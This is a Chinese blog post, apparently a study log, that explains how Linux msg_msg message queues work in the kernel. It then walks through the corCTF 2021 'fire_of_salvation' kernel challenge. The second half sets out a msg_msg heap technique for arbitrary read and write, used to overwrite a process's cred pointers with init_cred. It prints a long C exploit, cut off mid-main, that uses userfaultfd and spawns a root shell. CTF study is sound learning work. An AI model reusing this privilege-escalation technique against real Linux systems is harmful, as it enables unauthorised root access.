0%

消息队列msg学习&msg利用

消息队列msg学习&msg利用

之前谢哥发了我两道kernelpwn的题目,都是比较简单的堆漏洞,但是堆的size不再是很好利用的0x20或者0x2e0了,然后搜了搜kernelpwn通用结构体发现还是没有当前size下可以利用的内核结构,经过谢哥提醒msg可以使用,但是看了会msg发现还是比较复杂的,然后就摆了,一摆就摆到了现在hh,痛定思痛,开始学习。

msg学习

基础介绍

消息队列msg和共享内存一样是linux提供的一种进程间通信方式(IPC),一般称他为IPC对象,在Linux中使用key来唯一标识,而且他们是可持续化,当进程创建了一个IPC对象之后,这个对象不会因为进程的退出而销毁,而是一直存在,直到调用IPC删除函数来删除。

消息队列的IPC对象,key和id之间的关系如下图,其中key是唯一的,唯一确定一个IPC对象,但是每个进程的id是可以变化的,id就相当于文件描述符,key就相当于文件名,IPC对象相当于文件内容。

系统IPC对象

常用函数介绍

ftok()

产生键值key_t ftok(const char *pathname, int proj_id);

msgget()

得到ipc对象的id值或者创建一个消息队列,当第一个参数可以是ftok创建的key或者IPC_PRIVATE,第二个参数控制创建消息队列的操作和读写权限。

1
int msgget(key_t key, int msgflg);

相关结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct msg_queue {
struct kern_ipc_perm q_perm;
time64_t q_stime; /* last msgsnd time */
time64_t q_rtime; /* last msgrcv time */
time64_t q_ctime; /* last change time */
unsigned long q_cbytes; /* current number of bytes on queue */
unsigned long q_qnum; /* number of messages in queue */
unsigned long q_qbytes; /* max number of bytes on queue */
struct pid *q_lspid; /* pid of last msgsnd */
struct pid *q_lrpid; /* last receive pid */

struct list_head q_messages;
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;

当调用了msgget()函数的时候,内核会调用ksys_msgget()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
long ksys_msgget(key_t key, int msgflg)
{
struct ipc_namespace *ns;
static const struct ipc_ops msg_ops = {
.getnew = newque,
.associate = security_msg_queue_associate,
};
struct ipc_params msg_params;

ns = current->nsproxy->ipc_ns;

msg_params.key = key;
msg_params.flg = msgflg;

return ipcget(ns, &msg_ids(ns), &msg_ops, &msg_params);
}

然后调用ipcget函数

1
2
3
4
5
6
7
8
int ipcget(struct ipc_namespace *ns, struct ipc_ids *ids,
const struct ipc_ops *ops, struct ipc_params *params)
{
if (params->key == IPC_PRIVATE)
return ipcget_new(ns, ids, ops, params);
else
return ipcget_public(ns, ids, ops, params);
}

当key=IPC_PRIVATE的时候,就会调用ipcget_new()创建一个新的消息队列

1
2
3
4
5
6
7
8
9
10
static int ipcget_new(struct ipc_namespace *ns, struct ipc_ids *ids,
const struct ipc_ops *ops, struct ipc_params *params)
{
int err;

down_write(&ids->rwsem);
err = ops->getnew(ns, params);
up_write(&ids->rwsem);
return err;
}

这个函数会调用ops->getnew(),在 ksys_msgget函数中,这个函数指针被赋值成newque,也就是会调用newque函数,这个函数主要就是初始化结构体msg_queue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static int newque(struct ipc_namespace *ns, struct ipc_params *params)
{
struct msg_queue *msq;
int retval;
key_t key = params->key;
int msgflg = params->flg;

msq = kvmalloc(sizeof(*msq), GFP_KERNEL);
if (unlikely(!msq))
return -ENOMEM;

msq->q_perm.mode = msgflg & S_IRWXUGO;
msq->q_perm.key = key;

msq->q_perm.security = NULL;
retval = security_msg_queue_alloc(&msq->q_perm);
if (retval) {
kvfree(msq);
return retval;
}

msq->q_stime = msq->q_rtime = 0;
msq->q_ctime = ktime_get_real_seconds();
msq->q_cbytes = msq->q_qnum = 0;
msq->q_qbytes = ns->msg_ctlmnb;
msq->q_lspid = msq->q_lrpid = NULL;
INIT_LIST_HEAD(&msq->q_messages);
INIT_LIST_HEAD(&msq->q_receivers);
INIT_LIST_HEAD(&msq->q_senders);

/* ipc_addid() locks msq upon success. */
retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni);
if (retval < 0) {
ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
return retval;
}

ipc_unlock_object(&msq->q_perm);
rcu_read_unlock();

return msq->q_perm.id;
}

msgsnd()

msgsnd函数会向指定id对应的消息队列发送消息

1
int msgsnd(int  msqid , const void * msgp , size_t  msgsz , int  msgflg );

相关结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
struct msg_msg {//主消息段头部
struct list_head m_list; //消息双向链表指针
long m_type;
size_t m_ts; /* 消息大小 */
struct msg_msgseg *next; //指向消息第二段
void *security;
/* 后面接着消息的文本 */
};

struct msg_msgseg {//子消息段头部
struct msg_msgseg *next; //指向下一段的指针,最多三段
/* 后面接着消息第二/三段的文本 */
};

内核和执行ksys_msgsnd()函数

1
2
3
4
5
6
7
8
9
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz,
int msgflg)
{
long mtype;

if (get_user(mtype, &msgp->mtype))
return -EFAULT;
return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}

函数调用do_msgsnd()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);

ns = current->nsproxy->ipc_ns;

if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;

msg = load_msg(mtext, msgsz);
if (IS_ERR(msg))
return PTR_ERR(msg);

msg->m_type = mtype;
msg->m_ts = msgsz;

rcu_read_lock();
msq = msq_obtain_object_check(ns, msqid);
if (IS_ERR(msq)) {
err = PTR_ERR(msq);
goto out_unlock1;
}

ipc_lock_object(&msq->q_perm);

for (;;) {
struct msg_sender s;

err = -EACCES;
if (ipcperms(ns, &msq->q_perm, S_IWUGO))
goto out_unlock0;

/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
err = -EIDRM;
goto out_unlock0;
}

err = security_msg_queue_msgsnd(&msq->q_perm, msg, msgflg);
if (err)
goto out_unlock0;

if (msg_fits_inqueue(msq, msgsz))
break;

/* queue full, wait: */
if (msgflg & IPC_NOWAIT) {
err = -EAGAIN;
goto out_unlock0;
}

/* enqueue the sender and prepare to block */
ss_add(msq, &s, msgsz);

if (!ipc_rcu_getref(&msq->q_perm)) {
err = -EIDRM;
goto out_unlock0;
}

ipc_unlock_object(&msq->q_perm);
rcu_read_unlock();
schedule();

rcu_read_lock();
ipc_lock_object(&msq->q_perm);

ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
err = -EIDRM;
goto out_unlock0;
}
ss_del(&s);

if (signal_pending(current)) {
err = -ERESTARTNOHAND;
goto out_unlock0;
}

}

ipc_update_pid(&msq->q_lspid, task_tgid(current));
msq->q_stime = ktime_get_real_seconds();

if (!pipelined_send(msq, msg, &wake_q)) {
/* no one is waiting for this message, enqueue it */
list_add_tail(&msg->m_list, &msq->q_messages);
msq->q_cbytes += msgsz;
msq->q_qnum++;
atomic_add(msgsz, &ns->msg_bytes);
atomic_inc(&ns->msg_hdrs);
}

err = 0;
msg = NULL;

out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (msg != NULL)
free_msg(msg);
return err;
}

函数首先对msgtype和msgsz进行了检查,然后调用load_msg(mtext, msgsz)来初始化msg_msg结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);

alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

这个函数会先调用alloc_msg来请求msg_msg结构体所需要的空间.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;

cond_resched();

alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

通过这个函数可以看出msg结构体是可以扩充的,可以从0x40扩充到0x1000,这也是为什么msg_msg利用的范围这么广了。

而且当消息长度超过了0x1000-0x30还可以吧消息进行分段,最多分三段,结构图如下,所以一个消息的长度理论上最多是0x3000-0x30-0x8-0x8

在这里插入图片描述

函数申请完所有空间就返回到load_msg函数。

然后load_msg把用户空间的消息全部复制到刚申请的msg_msg和msg_msgseg上,就返回到do_msgsnd函数中,这个函数剩下的工作就是经过一堆检查然后把msg_msg链接到对应的消息队列中去,消息队列示意图如下。

在这里插入图片描述

msgrcv()

1
ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);

参数msqid:指定消息队列id,由msgget 返回。
参数msgp:接收消息用的结构体指针
参数msgsz:接收消息用的结构体大小
参数msgtyp:三种情况:
=0 : 读取消息队列中第一个消息

0 : 读取消息队列中类型为msgtyp 的第一个消息,如果msgflg 设置了MSG_EXCEPT 则会读取非msgtyp类型的第一个消息, 这个消息类型在msgsnd 里用msgbuf 结构体指定的;如果msgflg 设置了MSG_COPY则会读取队列中的第msgtyp个消息。
<0 : 读取消息队列中最小类型且小于等于msgtyp 绝对值的消息。
参数msgflg:通常使用下面的一些flag:
IPC_NOWAIT : 消息队列为空则不会阻塞。
MSG_EXCEPT : 跟上面msgtyp 联用,读取类型不是msgtyp 的第一条消息。
MSG_NOERROR : 消息长度超过msgsz 时截断消息。
MSG_COPY : 漏洞利用中会用到,内核会把消息队列中的消息拷贝一份返回用户空间而不会释放该条消息结构。
返回值:成功时返回读取的消息字节数,失败返回-1。

内核会调用do_msgrcv()函数,这个函数就会根据msgtype和msgflg来搜索到msg,然后把这个msg拷贝到用户空间的buf处,当msgflg!=MSG_COPY的时候 ,找到msg后就会把这个msg从消息队列中unlink,然后把信息复制给用户空间,然后再free这个msg

但是当msgflg=MSG_COPY的时候,会先申请一个新的msg,然后在消息队列中找到一个msg,然后把这个msg拷贝到新的msg中。然后再把新的msg的内容拷贝到用户态,最后释放新的msg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
DEFINE_WAKE_Q(wake_q);

ns = current->nsproxy->ipc_ns;

if (msqid < 0 || (long) bufsz < 0)
return -EINVAL;

if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy))
return PTR_ERR(copy);
}
mode = convert_mode(&msgtyp, msgflg);

rcu_read_lock();
msq = msq_obtain_object_check(ns, msqid);
if (IS_ERR(msq)) {
rcu_read_unlock();
free_copy(copy);
return PTR_ERR(msq);
}

for (;;) {
struct msg_receiver msr_d;

msg = ERR_PTR(-EACCES);
if (ipcperms(ns, &msq->q_perm, S_IRUGO))
goto out_unlock1;

ipc_lock_object(&msq->q_perm);

/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
msg = ERR_PTR(-EIDRM);
goto out_unlock0;
}

msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy);
goto out_unlock0;
}

list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);

goto out_unlock0;
}

/* No message waiting. Wait for a message */
if (msgflg & IPC_NOWAIT) {
msg = ERR_PTR(-ENOMSG);
goto out_unlock0;
}

list_add_tail(&msr_d.r_list, &msq->q_receivers);
msr_d.r_tsk = current;
msr_d.r_msgtype = msgtyp;
msr_d.r_mode = mode;
if (msgflg & MSG_NOERROR)
msr_d.r_maxsize = INT_MAX;
else
msr_d.r_maxsize = bufsz;

/* memory barrier not require due to ipc_lock_object() */
WRITE_ONCE(msr_d.r_msg, ERR_PTR(-EAGAIN));

/* memory barrier not required, we own ipc_lock_object() */
__set_current_state(TASK_INTERRUPTIBLE);

ipc_unlock_object(&msq->q_perm);
rcu_read_unlock();
schedule();

/*
* Lockless receive, part 1:
* We don't hold a reference to the queue and getting a
* reference would defeat the idea of a lockless operation,
* thus the code relies on rcu to guarantee the existence of
* msq:
* Prior to destruction, expunge_all(-EIRDM) changes r_msg.
* Thus if r_msg is -EAGAIN, then the queue not yet destroyed.
*/
rcu_read_lock();

/*
* Lockless receive, part 2:
* The work in pipelined_send() and expunge_all():
* - Set pointer to message
* - Queue the receiver task for later wakeup
* - Wake up the process after the lock is dropped.
*
* Should the process wake up before this wakeup (due to a
* signal) it will either see the message and continue ...
*/
msg = READ_ONCE(msr_d.r_msg);
if (msg != ERR_PTR(-EAGAIN)) {
/* see MSG_BARRIER for purpose/pairing */
smp_acquire__after_ctrl_dep();

goto out_unlock1;
}

/*
* ... or see -EAGAIN, acquire the lock to check the message
* again.
*/
ipc_lock_object(&msq->q_perm);

msg = READ_ONCE(msr_d.r_msg);
if (msg != ERR_PTR(-EAGAIN))
goto out_unlock0;

list_del(&msr_d.r_list);
if (signal_pending(current)) {
msg = ERR_PTR(-ERESTARTNOHAND);
goto out_unlock0;
}

ipc_unlock_object(&msq->q_perm);
}

out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}

bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);

return bufsz;
}

msg利用

只要能控制了msg_msg后确实可以达到任意地址写和任意地址读,而且堆块范围是0x40~0x1000,感觉非常好用。

本文通过corCTF 2021两道内核题学习对msg_msg的利用。应该会很有难度,预计复现至少两天。(看完整个解题思路和长达400多行以及700多行的exp,🤦‍♀️坏了,不只是需要两天了。至少一周或者更久。。。

fire_of_salvation

题目给了源代码十分好审计,主要结构体如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
typedef struct
{
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
#ifdef EASY_MODE
char desc[DESC_MAX];
#endif
} user_rule_t;

typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
#ifdef EASY_MODE
char desc[DESC_MAX];
#endif
} rule_t;

漏洞

漏洞出现在了dup()函数下,在全局指针数组中可以存储两次指向同一个堆块的指针,这导致可以释放两次同一个堆块,既可以doublefree又可以uaf.

填坑

令人感叹,距离写下上一段话到现在已经过了半个月了,确实懒狗了这下,本来想着学完mit6.s081后再继续学习二进制的,但是肝了一周了有点肝不动了,前面还好说,后面的课确实沾点难度了,一个半小时的课我得看三个小时才能啃下来,想起了msg还没学完,那就换个东西折磨我吧。

漏洞利用

由于开启了kaslr和fg_kaslr,所以肯定得先获取内核地址,但是注意由于开启了fg_kaslr之后就没有那么简单了,fg_kaslr会在kaslr上以函数粒度对地址再进一步打乱,这个打乱也是随机的,所以函数到内核基地址的偏移是随时发现变化的,但是fg_kaslr有些区域不会被打乱

1..text段

2.data段

3.__ksymtab

知道了上面区域的一些地址就可以知道内核的基地址了。在这道题中选择使用shm_file_data结构体来泄露内核data段地址进而知道内核基地址。其中ipc_namespace就指向内核data段。

1
2
3
4
5
6
7
struct shm_file_data
{
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};

泄露地址可以分为一下几步

  • 1.首先构造一个4kb的uaf然后申请一个0xfd8大小的msg_msg,此时msg结构体如下图

image-20221017001913589

  • 2.堆喷,这样shm_file_data就可能落到struct msg_msg下面了
  • 3.利用uaf修改m_ts,这个变量记录了这个消息的大小,改大之后再MSG_COPY这个消息队列就可以可以得到struct msg_msg后面的堆的信息了,也就得到了内核基地址。
  • 4.利用基地址就可以算出init_credinit_task了,这两个结构体都在内核data段中,可以直接算出。

得到上面的地址就可以利用init_task来找到这个进程的task_struct了。

每个进程都有一个task_struct,内核使用双向循环表来组织这个结构体,字段为struct list_head tasks;

结构体如下

1
2
3
struct list_head {
struct list_head *next, *prev;
};

所以可以通过init_taskprev向上寻找,直到找到这个进程的task_struct

说白了就是通过修改msgnext字段完成任意读操作,关键是如何构造msg了,下面是作者给出的构造示意图,我也是按照这个进行构造的,我们得覆盖next让其指向task_struct的某一个地方,然后再读这个task_struct,但是对next的覆盖是有要求的,他所指向的地址的前八个字节必须为空,不然读取和写入的时候就会报错,具体原因看看源码就懂了。

其中struct list_head tasks在位于task_struct的0x298偏移出,其前八个字节刚好是null,所以可以让next指向task_struct_addr+0x290处。这样就可以读到task_structprevpid了,pid位于task_struct的0x398处,然后整一个循环读到当前进程的task_struct了。

img

注意prev并不指向上一个进程的task_struct的开头,而是指向其中的字段struct list_head tasks,所以减去0x298就得到当前task_struct的基地址了。

得到当前进程task_struct的基地址后就得构造任意地址写来完成对当前进程task_struct中的real_cred 和 cred指针的覆写,覆写成init_cred指针。

首先考虑msgnext应该指向哪里,read_credcred对于task_struct的偏移是0x538和0x540。real_cred的前八个字节刚好还是null,所以可以让next指向task_struct+0x538-0x8.

img

只要考虑清楚next的的取值问题,任意地址写就是套userfaulted的板子了,步骤如下

  • 先mmap一段ox2000的内存,然后在0x1000-0x8处填上mtype,把0x1000注册缺页处理,然后send_msg(msg_id, msg_buff, size - 0x30, 0);
  • 当msg进入缺页处理函数的时候,准备好page,其0xfd00xfd8处准备好init_cred,然后利用设备的edit修改msg的next指针

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>
#include <byteswap.h>
#include <poll.h>
#include <assert.h>
#include <time.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/reboot.h>
#include <linux/userfaultfd.h>
#include <arpa/inet.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/sem.h>
#include <semaphore.h>

#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define UFFDIO_API 0xc018aa3f
#define UFFDIO_REGISTER 0xc020aa00
#define UFFDIO_UNREGISTER 0x8010aa01
#define UFFDIO_COPY 0xc028aa03
#define UFFDIO_ZEROPAGE 0xc020aa04
#define UFFDIO_WAKE 0x8010aa02


#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

char *page;
size_t page_size;

#define DESC_MAX 0x800
typedef struct
{
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
char desc[DESC_MAX];
} User_rule_t;

typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
char desc[DESC_MAX];
} Rule_t;

typedef struct
{
long mtype;
char mtext[1];
}msg;

typedef struct
{
void *ll_next;
void *ll_prev;
long m_type;
size_t m_ts;
void *next;
void *security;
}msg_header;

size_t target_addr=0;
size_t init_cred_addr=0;
int fd=0;
err_exit(char *buf){
puts(buf);
exit(1);
}


int ioctl(int fd, unsigned long request, unsigned long param) //ioctl wrapper
{
printf("ioctl\n");
return syscall(__NR_ioctl, fd, request, param);
}

static pthread_t monitor_thread;
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
err_exit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
err_exit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
err_exit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
err_exit("pthread_create");
}
static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
err_exit("poll");

nread = read(uffd, &msg, sizeof(msg));
memset(page,0,page_size);
memcpy(page+ 0x1000-0x30,&init_cred_addr,8);
memcpy(page+ 0x1000-0x30+8,&init_cred_addr,8);

msg_header fake_msg_header;
fake_msg_header.ll_next=(void *)0x4141414141414141;
fake_msg_header.ll_prev=(void *)0x4242424242424242;
fake_msg_header.m_ts=0x1000-0x30+0x8;
fake_msg_header.next=target_addr;
fake_msg_header.m_type=1;
edit_rule(fd,&fake_msg_header,1,OUTBOUND,1);
if (nread == 0)
err_exit("EOF on userfaultfd!\n");

if (nread == -1)
err_exit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
err_exit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err_exit("ioctl-UFFDIO_COPY");

return NULL;
}
}

void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}

void get_IPv4(uint32_t ip,char *ipv4){
memset(ipv4,0,0x10);

printf("%d.%d.%d.%d\n",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);

sprintf(ipv4,"%d.%d.%d.%d",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);
}

User_rule_t* init_user_rule(uint8_t idx,uint8_t type,u_int32_t ip,u_int32_t netmask){

User_rule_t *user_rule=(User_rule_t *)malloc(sizeof(User_rule_t));

user_rule->idx=idx;


get_IPv4(ip,&(user_rule->ip));

get_IPv4(netmask,&(user_rule->netmask));

user_rule->type=type;
printf("idx:%d\n",user_rule->idx);
return user_rule;
}

void add_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
printf("idx:%d\n",user_rule_t->idx);
int ret=ioctl(fd,ADD_RULE,user_rule_t);
if(ret<0){
err_exit("add fail");
}
}

void del_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,DELETE_RULE,user_rule_t);
if(ret<0){
err_exit("del fail");
}
}

void dup_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,DUP_RULE,user_rule_t);
if(ret<0){
err_exit("edit fail");
}
}

void edit_rule(int fd,char *buf,int idx,int type,int flags){
uint32_t ip=*(uint32_t *)(buf+0x20);
uint32_t netmask=*(uint32_t *)(buf+0x24);
User_rule_t *user_rule=init_user_rule(idx,type,ip,netmask);
memcpy(user_rule,buf,0x20);
if(!flags){
memcpy(&(user_rule->ip),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
memcpy(&(user_rule->netmask),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
}
int ret=ioctl(fd,EDIT_RULE,user_rule);
// if(ret<0){
// err_exit("edit fail");
// }
}

int32_t make_queue(key_t key, int msgflg)
{
int32_t result;
if ((result = msgget(key, msgflg)) == -1)
{
perror("msgget failure");
exit(-1);
}
return result;
}


void get_msg(int msqid,void *msgp,size_t msgsz,long msgtype,int msgflag){
int ret=msgrcv(msqid,msgp,msgsz,msgtype,msgflag);
if(ret<0){
err_exit("msgrcv fail");
}
}
void send_msg(int msqid,void *msgp,size_t msgsz,int msgflag){
int ret=msgsnd(msqid,msgp,msgsz,msgflag);
if(ret<0){
err_exit("msgsend fail");
}
}



int main(){
int msg_id,size;
msg *msg_buff;
User_rule_t *user_rule_t;
size_t re_buf[0x2000/8];
size_t init_ipc_ns=0,kernel_base=0,init_task=0,init_cred=0;
int32_t pid;
uint64_t prev, curr;

fd=open("/dev/firewall",O_RDWR);
if(fd<0){
err_exit("open dev/firewall fail");
}

msg_buff=(msg *)malloc(0x2000);
page=malloc(0x1000);
page_size=0x1000;
add_rule(fd,0,INBOUND);
dup_rule(fd,0,INBOUND);

msg_id=make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
